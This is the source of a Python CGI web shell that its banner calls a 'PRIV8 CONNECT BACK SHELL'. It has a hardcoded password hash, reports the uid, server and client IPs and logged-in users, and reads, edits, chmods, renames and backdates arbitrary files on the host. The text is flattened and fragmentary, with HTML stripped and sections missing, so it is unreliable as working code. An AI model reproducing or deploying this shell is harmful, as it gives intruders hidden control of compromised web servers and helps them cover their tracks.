#!/usr/bin/python import sys, os, cgi, commands, time, Cookie, socket, pty,select from base64 import b64encode from stat import * from datetime import datetime sys.stderr = open(os.devnull, 'w') password = "27db7898211c8ccbeb4d5a97d198839a" # r00t version = "0.5 [PRIV9]" esc = '%s['%chr(27) color = esc + "1;36m" reset = esc + "0m" # don't ask why i did it this way, ''' doesnt agree with pty's ascii = color################################################################################ ascii +=' @@@@@@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@ @@@ @@@ @@@ @@@@@@ @@@@@@ @@@@@@@ \r\n'# ascii +=' !@@ @@! @@@ @@! @@! @@@ @@! @@@ @@! !@@ @@@ @@! @@! @@!\r\n'# ascii +=' !@! @!@!@!@! !!@ @!@@!@! @!@@!@! !@!@! !@! @!!!: @!!!: @!! \r\n'# ascii +=' :!! !!: !!! !!: !!: !!: !!: !!! !!: !!: .!!: \r\n'# ascii +=' :: :: : : : : : : : .: : ::: :: ::: :: : : \r\n'# ascii +=' ~[ P R I V 8 C O N N E C T B A C K S H E L L ]~ \r\n'# ascii += reset############################################################################### def getall(theform, nolist = False): data = {} for field in theform.keys(): if type(theform[field]) == type([]): if not nolist: data[field] = theform.getlist(field) else: data[field] = theform.getfirst(field) elif theform[field].filename: _FILES[field] = theform[field] else: data[field] = theform[field].value return data def escape(str): return str.replace("'", "\\'").replace("\r", "\\r").replace("\n", "\\n") _FILES = {} _REQUEST = getall( cgi.FieldStorage() ) if _REQUEST.has_key('charset') == False: _REQUEST['charset'] = "Windows-1251" if _REQUEST.has_key('a') == False: _REQUEST['a'] = "files" if _REQUEST.has_key('c') == False: _REQUEST['c'] = os.getcwd() if _REQUEST.has_key('p1') == False: _REQUEST['p1'] = "" if _REQUEST.has_key('p2') == False: _REQUEST['p2'] = "" if _REQUEST.has_key('p3') == False: _REQUEST['p3'] = "" _COOKIE = Cookie.SimpleCookie() try: _COOKIE.load(os.environ["HTTP_COOKIE"]) except: pass def printLogin(): _COOKIE['psswd'] = ""; print _COOKIE; print "Content-type: text/html\n"; print """
| Uname: User: Time: Cwd: | '
print '%s %d-%.2d-%.2d %.2d:%.2d:%.2d Server IP: %s Client IP: %s ' %( commands.getoutput( 'id' ).replace("root", "root"), t[0], t[1], t[2], t[3], t[4], t[5], os.environ['SERVER_ADDR'], os.environ['REMOTE_ADDR']) path = '' paths = cwd.split('/') paths.pop() for x in paths: path += x + '/' sys.stdout.write(""""""+x+"""/""") print " " + permsColor(cwd),"""[ home ]""" charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'] print ' | Currently logged in: '+commands.getoutput('users')+' |
| [ '+x+' ] | ' print '
| """+writable+""" | """+writable+""" |
| """+writable+""" |
"
for x in fp.readlines():
sys.stdout.write(cgi.escape(x))
fp.close()
print ""
except:
print "Can't open file! "+_REQUEST['p1']
if _REQUEST['p2'] == "edit":
try:
fp = open(_REQUEST['p1'], 'r')
print ""
except:
print "Can't open (create) file! "+_REQUEST['p1']
if _REQUEST['p2'] == "chmod":
import stat, string
if len(_REQUEST['p3']):
perm = string.atoi(_REQUEST['p3'], 8)
try:
os.chmod(_REQUEST['p1'], perm)
print "Done"
except: print "Fail!"
print ""
if _REQUEST['p2'] == "rename":
if len(_REQUEST['p3']):
try:
os.rename(_REQUEST['p1'], _REQUEST['p3'])
_REQUEST['p1'] = _REQUEST['p3']
print "Done"
except: print "Fail!"
print ""
if _REQUEST['p2'] == "touch":
if len(_REQUEST['p3']):
try:
tmstmp = time.mktime(time.strptime(_REQUEST['p3'], "%Y-%m-%d %H:%M:%S"))
os.utime(_REQUEST['p1'], (tmstmp, tmstmp))
item_stat = os.stat(_REQUEST['p1'])
print "Done"
except: print "Fail!"
print ""
print "